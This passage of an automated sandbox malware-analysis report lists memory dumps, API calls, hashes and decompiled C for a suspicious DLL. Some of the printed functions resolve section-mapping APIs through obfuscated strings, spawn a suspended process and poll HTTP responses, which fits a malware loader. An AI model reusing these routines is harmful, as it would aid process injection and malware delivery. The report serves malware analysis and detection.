                  0x02c57287
                  0x02c5728f
                  0x02c57294
                  0x02c57299
                  0x02c5729f
                  0x02c572a3
                  0x02c572ac
                  0x02c572b0
                  0x02c572b2
                  0x02c572b2
                  0x02c572ba
                  0x02c572bf
                  0x02c572c4
                  0x02c572ca
                  0x02c572d1
                  0x02c572e2
                  0x02c572e9
                  0x02c572fb
                  0x02c57300
                  0x02c57305
                  0x02c5730e
                  0x02c57317
                  0x02c57320
                  0x02c57336
                  0x02c5733b
                  0x02c5733f
                  0x02c57343
                  0x02c57348
                  0x02c5734d
                  0x02c5734f
                  0x02c5734f
                  0x02c57359
                  0x02c57362
                  0x02c57369
                  0x02c57385
                  0x02c57389
                  0x02c573c2
                  0x02c5738b
                  0x02c5738e
                  0x02c57396
                  0x02c573a7
                  0x02c573af
                  0x02c573b7
                  0x02c573bb
                  0x02c573bb
                  0x02c57389
                  0x02c573ca
                  0x02c573ca
                  0x02c573d2
                  0x02c573d2
                  0x02c573da
                  0x02c573da
                  0x02c573e6

                  APIs
                  • GetTickCount.KERNEL32 ref: 02C57250
                  • lstrlen.KERNEL32(00000000,00000005), ref: 02C572D1
                  • lstrlen.KERNEL32(?), ref: 02C572E2
                  • lstrlen.KERNEL32(00000000), ref: 02C572E9
                  • lstrlenW.KERNEL32(80000002), ref: 02C572F0
                  • lstrlen.KERNEL32(?,00000004), ref: 02C57359
                  • lstrlen.KERNEL32(?), ref: 02C57362
                  • lstrlen.KERNEL32(?), ref: 02C57369
                  • lstrlenW.KERNEL32(?), ref: 02C57370
                    • Part of subcall function 02C561DA: RtlFreeHeap.NTDLL(00000000,00000000,02C56383,00000000,?,00000000,00000000), ref: 02C561E6
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: lstrlen$CountFreeHeapTick
                  • String ID:
                  • API String ID: 2535036572-0
                  • Opcode ID: b478f202cd3d148ea9b175fe5eeaa92a010bfca1d3a06ab1aebfa5bce0cb16fc
                  • Instruction ID: 3e95f73c846dd2ea1c44f047abfed65c573fd99b382d120782d4d352d16a427f
                  • Opcode Fuzzy Hash: b478f202cd3d148ea9b175fe5eeaa92a010bfca1d3a06ab1aebfa5bce0cb16fc
                  • Instruction Fuzzy Hash: 6751A172D40229EBCF11AFA5CC44ADE7B76EF84354F054065ED08A7210DB35CAA5DF98
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB54D9D Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task
                  • String ID: OIfdrMGLizpYDcTLWWHeozcUTnQeULqwBAhJpQ$TmQUpxYENW$rGYXKtxvdn
                  • API String ID: 1384045349-3284569860
                  • Opcode ID: 1b62504a8b0ca5486b89680d89554199562dcd4a68042708224ee9cea9c2d6ab
                  • Instruction ID: 5feae6c0ac6a68bfe952c7596e216b7b48a9846bbed9453d12b7db87afabd190
                  • Opcode Fuzzy Hash: 1b62504a8b0ca5486b89680d89554199562dcd4a68042708224ee9cea9c2d6ab
                  • Instruction Fuzzy Hash: 1FE18F7090A2A8CBDF15CF44CC80BDDB775AB4230AF9481C9D0196BA84DBB59BE9CF51
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB5D190 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON
                  Download Yara Rule
                  APIs
                  • _ValidateLocalCookies.LIBCMT ref: 6CB5D1C7
                  • ___except_validate_context_record.LIBVCRUNTIME ref: 6CB5D1CF
                  • _ValidateLocalCookies.LIBCMT ref: 6CB5D258
                  • __IsNonwritableInCurrentImage.LIBCMT ref: 6CB5D283
                  • _ValidateLocalCookies.LIBCMT ref: 6CB5D2D8
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                  • String ID: csm$RCi
                  • API String ID: 1170836740-1232298065
                  • Opcode ID: 52dc5a9159dd65aad0946d73dfa0ca31c44622275c2fa150fb05313d21e0ddc2
                  • Instruction ID: d9a7e9a25ce25fa812e0d75abb88732fac6dc660bc268ca1bb0fac677e5cd1d3
                  • Opcode Fuzzy Hash: 52dc5a9159dd65aad0946d73dfa0ca31c44622275c2fa150fb05313d21e0ddc2
                  • Instruction Fuzzy Hash: CA411634A012889FCF00CF79D980ADEBBB5EF45328F548255E8245BB91D736DA26CF91
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB613DC Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 202COMMON
                  Download Yara Rule
                  APIs
                  • __alloca_probe_16.LIBCMT ref: 6CB61463
                  • __alloca_probe_16.LIBCMT ref: 6CB61524
                  • __freea.LIBCMT ref: 6CB6158B
                    • Part of subcall function 6CB61157: RtlAllocateHeap.NTDLL(00000000,00000000,?,?,6CB5A7BD,00000000,?,6CB42A0C,00000000,?,6CB419F5,00000000), ref: 6CB61189
                  • __freea.LIBCMT ref: 6CB615A0
                  • __freea.LIBCMT ref: 6CB615B0
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: __freea$__alloca_probe_16$AllocateHeap
                  • String ID: RCi
                  • API String ID: 1423051803-2875014802
                  • Opcode ID: 065e3bfde42a4fbbd5428b9b861a56555a24add2583518888c37559c7767da02
                  • Instruction ID: dbec229c5313256e575a247b975fa073e0f4b30ad31c4ca470e53721b023b2e7
                  • Opcode Fuzzy Hash: 065e3bfde42a4fbbd5428b9b861a56555a24add2583518888c37559c7767da02
                  • Instruction Fuzzy Hash: AD51C472601296AFEB108F66CC81EFF76A9EF44318B190529FD1AD7E40E731CD148B62
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C537DF Relevance: 10.6, APIs: 7, Instructions: 109librarymemoryloaderCOMMON
                  Download Yara Rule
                  C-Code - Quality: 73%
                  			E02C537DF(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E02C56BF9(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E02C57AB0( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0x2c5a300 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0x2c5a348; // 0xe7d5a8
					_t18 = _t47 + 0x2c5b706; // 0x73797325
					_t68 = E02C5127E(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0x2c5a348; // 0xe7d5a8
						_t19 = _t50 + 0x2c5b86c; // 0x3ad8e14
						_t20 = _t50 + 0x2c5b3f6; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E02C55B56();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0);
							_push(1);
							E02C55B56();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x2c5a2d8, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E02C561DA(_t70);
				goto L12;
			}


















                  0x02c537e7
                  0x02c537e7
                  0x02c537f6
                  0x02c537fd
                  0x02c53802
                  0x02c5390f
                  0x02c53916
                  0x02c53916
                  0x02c53811
                  0x02c53819
                  0x02c5381c
                  0x02c53821
                  0x02c53836
                  0x02c5383c
                  0x02c5383d
                  0x02c53840
                  0x02c53846
                  0x02c53849
                  0x02c5384e
                  0x02c53856
                  0x02c53862
                  0x02c53866
                  0x02c538f6
                  0x02c5386c
                  0x02c5386c
                  0x02c53871
                  0x02c53878
                  0x02c5388c
                  0x02c53890
                  0x02c538df
                  0x02c53892
                  0x02c53893
                  0x02c5389a
                  0x02c538b3
                  0x02c538b5
                  0x02c538b9
                  0x02c538c0
                  0x02c538da
                  0x02c538c2
                  0x02c538cb
                  0x02c538d0
                  0x02c538d0
                  0x02c538c0
                  0x02c538ee
                  0x02c538ee
                  0x02c53866
                  0x02c538fd
                  0x02c53906
                  0x02c5390a
                  0x00000000

                  APIs
                    • Part of subcall function 02C56BF9: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,02C537FB,?,?,?,?,00000000,00000000), ref: 02C56C1E
                    • Part of subcall function 02C56BF9: GetProcAddress.KERNEL32(00000000,7243775A), ref: 02C56C40
                    • Part of subcall function 02C56BF9: GetProcAddress.KERNEL32(00000000,614D775A), ref: 02C56C56
                    • Part of subcall function 02C56BF9: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 02C56C6C
                    • Part of subcall function 02C56BF9: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 02C56C82
                    • Part of subcall function 02C56BF9: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 02C56C98
                  • memset.NTDLL ref: 02C53849
                    • Part of subcall function 02C5127E: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,74183966,00000000,02C53862,73797325), ref: 02C5128F
                    • Part of subcall function 02C5127E: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 02C512A9
                  • GetModuleHandleA.KERNEL32(4E52454B,03AD8E14,73797325), ref: 02C5387F
                  • GetProcAddress.KERNEL32(00000000), ref: 02C53886
                  • HeapFree.KERNEL32(00000000,00000000), ref: 02C538EE
                    • Part of subcall function 02C55B56: GetProcAddress.KERNEL32(36776F57,02C52425), ref: 02C55B71
                  • CloseHandle.KERNEL32(00000000,00000001), ref: 02C538CB
                  • CloseHandle.KERNEL32(?), ref: 02C538D0
                  • GetLastError.KERNEL32(00000001), ref: 02C538D4
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemset
                  • String ID:
                  • API String ID: 3075724336-0
                  • Opcode ID: fe633a15c1bab6c73e122e26999c4e962f22c1e3ab5fcfc8b45ddd135d06a031
                  • Instruction ID: 711737fd50b9a162d24bfdaaeccc3bb706bf6a28a8a24c82d5796d76067a409b
                  • Opcode Fuzzy Hash: fe633a15c1bab6c73e122e26999c4e962f22c1e3ab5fcfc8b45ddd135d06a031
                  • Instruction Fuzzy Hash: 83315371D00228AFDB10AFA5CC88E9EBBBCEF48344F0049A5EA05A7111D734DE94DB64
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C53FA5 Relevance: 10.6, APIs: 7, Instructions: 92networksynchronizationCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E02C53FA5(void* __ecx, void* __esi) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				void* _t58;
				void* _t59;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_v8 = 4;
						_v16 = 0;
						if(HttpQueryInfoA( *(_t61 + 0x18), 0x20000013, _t61 + 0x2c,  &_v8,  &_v16) == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *(_t61 + 0x2c) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							HttpQueryInfoA( *(_t61 + 0x18), 0x16, 0,  &_v8,  &_v16);
							_t58 = E02C533DC(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								if(HttpQueryInfoA( *(_t61 + 0x18), 0x16, _t58,  &_v8,  &_v16) == 0) {
									E02C561DA(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *(_t61 + 0xc) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E02C516B2( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}














                  0x02c53fa5
                  0x02c53fa5
                  0x02c53fb5
                  0x02c53fb8
                  0x02c53fbc
                  0x02c53fc2
                  0x02c53fc7
                  0x02c53fe0
                  0x02c53ff4
                  0x02c53ffb
                  0x02c54002
                  0x02c54055
                  0x02c5405b
                  0x02c54061
                  0x02c5409c
                  0x02c540a2
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c54061
                  0x02c54008
                  0x00000000
                  0x02c5400f
                  0x02c5401d
                  0x02c54020
                  0x02c54023
                  0x02c5402f
                  0x02c54033
                  0x02c54095
                  0x02c54035
                  0x02c54047
                  0x02c54085
                  0x02c54090
                  0x02c54049
                  0x02c5404c
                  0x02c54050
                  0x02c54050
                  0x02c54047
                  0x00000000
                  0x02c54033
                  0x02c54008
                  0x02c53fcc
                  0x02c53fd2
                  0x02c53fd5
                  0x02c53fda
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c5406a
                  0x02c54072
                  0x02c54077
                  0x02c5407a
                  0x00000000

                  APIs
                  • WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,74CF81D0,00000000,00000000), ref: 02C53FBC
                  • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,02C53F34,00000000,?), ref: 02C53FCC
                  • HttpQueryInfoA.WININET(?,20000013,?,?), ref: 02C53FFE
                  • HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 02C54023
                  • HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 02C54043
                  • GetLastError.KERNEL32 ref: 02C54055
                    • Part of subcall function 02C516B2: WaitForMultipleObjects.KERNEL32(00000002,02C57C47,00000000,02C57C47,?,?,?,02C57C47,0000EA60), ref: 02C516CD
                    • Part of subcall function 02C561DA: RtlFreeHeap.NTDLL(00000000,00000000,02C56383,00000000,?,00000000,00000000), ref: 02C561E6
                  • GetLastError.KERNEL32(00000000), ref: 02C5408A
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: HttpInfoQuery$ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
                  • String ID:
                  • API String ID: 3369646462-0
                  • Opcode ID: b74fd93506787b88709ede57db91263156a151adde78e876dc92f03722d1adde
                  • Instruction ID: 071f842bc84267b5ef24af41166aa44056695595caa10fdea2c9d5b64ef64147
                  • Opcode Fuzzy Hash: b74fd93506787b88709ede57db91263156a151adde78e876dc92f03722d1adde
                  • Instruction Fuzzy Hash: 20310EB5D00319EFDB21DFA5C884A9EB7B8AF88354F204969D902A3141D771EAC49F94
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB6175B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,694352EF,?,6CB61868,00000000,6CB419F5,00000000,00000000), ref: 6CB6181C
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: FreeLibrary
                  • String ID: api-ms-$ext-ms-
                  • API String ID: 3664257935-537541572
                  • Opcode ID: 3b9a24ef8cd1be604bfb9c336e702e21342f01598eda88eacfc97e4118e26883
                  • Instruction ID: bc508fb68201127952968bd208c6c607566030ee219486fbf4f9df3b8edc3a5e
                  • Opcode Fuzzy Hash: 3b9a24ef8cd1be604bfb9c336e702e21342f01598eda88eacfc97e4118e26883
                  • Instruction Fuzzy Hash: 89210571E42291ABDB118A67CC44AAA77BCEB43765F280120E915A7EC0E730ED00CAD2
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB5FDDE Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 42libraryloaderCOMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,694352EF,?,?,00000000,6CB691CF,000000FF,?,6CB5FD6E,?,?,6CB5FD42,00000000), ref: 6CB5FE13
                  • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6CB5FE25
                  • FreeLibrary.KERNEL32(00000000,?,00000000,6CB691CF,000000FF,?,6CB5FD6E,?,?,6CB5FD42,00000000), ref: 6CB5FE47
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: AddressFreeHandleLibraryModuleProc
                  • String ID: CorExitProcess$mscoree.dll$RCi
                  • API String ID: 4061214504-3153263479
                  • Opcode ID: 4a89f9a5d42a5acb114dcb93d8b6366c91c650eb9fa650a906c6328e8e5dc183
                  • Instruction ID: b7ae2e3511bab0ff10f7dec8c6ff04908cd0a8efb611c26545ee84514d168f51
                  • Opcode Fuzzy Hash: 4a89f9a5d42a5acb114dcb93d8b6366c91c650eb9fa650a906c6328e8e5dc183
                  • Instruction Fuzzy Hash: EC014F35A04669AFDF029F51CC08FAEBBB9FB05715F100625F821A3AC0DB749904CE50
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C53A63 Relevance: 9.1, APIs: 6, Instructions: 126memoryCOMMON
                  Download Yara Rule
                  APIs
                  • SysAllocString.OLEAUT32(00000000), ref: 02C53ABD
                  • SysAllocString.OLEAUT32(0070006F), ref: 02C53AD1
                  • SysAllocString.OLEAUT32(00000000), ref: 02C53AE3
                  • SysFreeString.OLEAUT32(00000000), ref: 02C53B4B
                  • SysFreeString.OLEAUT32(00000000), ref: 02C53B5A
                  • SysFreeString.OLEAUT32(00000000), ref: 02C53B65
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: String$AllocFree
                  • String ID:
                  • API String ID: 344208780-0
                  • Opcode ID: 48b2a51ef7bf698acd4022a0c13483806f44eee23d10d0c605a43faf02ddf0c7
                  • Instruction ID: 7df289d8ca9a6552743a054144cc35ed97d7153148fd3d2f0c97f87e20eb7800
                  • Opcode Fuzzy Hash: 48b2a51ef7bf698acd4022a0c13483806f44eee23d10d0c605a43faf02ddf0c7
                  • Instruction Fuzzy Hash: F2416E36D00A19ABDF01EFB8C844A9FB7BAEF89344F144466ED10EB120DB71DA45CB95
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB65ADD Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 338fileCOMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • GetConsoleOutputCP.KERNEL32(694352EF,?,00000000,?), ref: 6CB65B40
                    • Part of subcall function 6CB63196: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6CB61581,?,00000000,-00000008), ref: 6CB63242
                  • WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6CB65D9B
                  • WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6CB65DE3
                  • GetLastError.KERNEL32 ref: 6CB65E86
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
                  • String ID: RCi
                  • API String ID: 2112829910-2875014802
                  • Opcode ID: b6c3a2866cbf8e54df92c546adec7a1a473dd65b250c339cfc4023c7d1531b0b
                  • Instruction ID: c38974fc40f10ca13ccb973200a5412881ae1d4109d27ea5940ccac200e36a1c
                  • Opcode Fuzzy Hash: b6c3a2866cbf8e54df92c546adec7a1a473dd65b250c339cfc4023c7d1531b0b
                  • Instruction Fuzzy Hash: 59D17B75E052989FCF01CFA9C8809EDBBB4FF09314F18412AE865EBB42D730A856CB55
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C56BF9 Relevance: 9.1, APIs: 6, Instructions: 81libraryloaderCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E02C56BF9(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E02C533DC(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x2c5a348; // 0xe7d5a8
					_t1 = _t23 + 0x2c5b436; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x2c5a348; // 0xe7d5a8
					_t2 = _t26 + 0x2c5b85c; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E02C561DA(_t54);
					} else {
						_t30 =  *0x2c5a348; // 0xe7d5a8
						_t5 = _t30 + 0x2c5b849; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x2c5a348; // 0xe7d5a8
							_t7 = _t33 + 0x2c5b72b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x2c5a348; // 0xe7d5a8
								_t9 = _t36 + 0x2c5b883; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x2c5a348; // 0xe7d5a8
									_t11 = _t39 + 0x2c5b87b; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
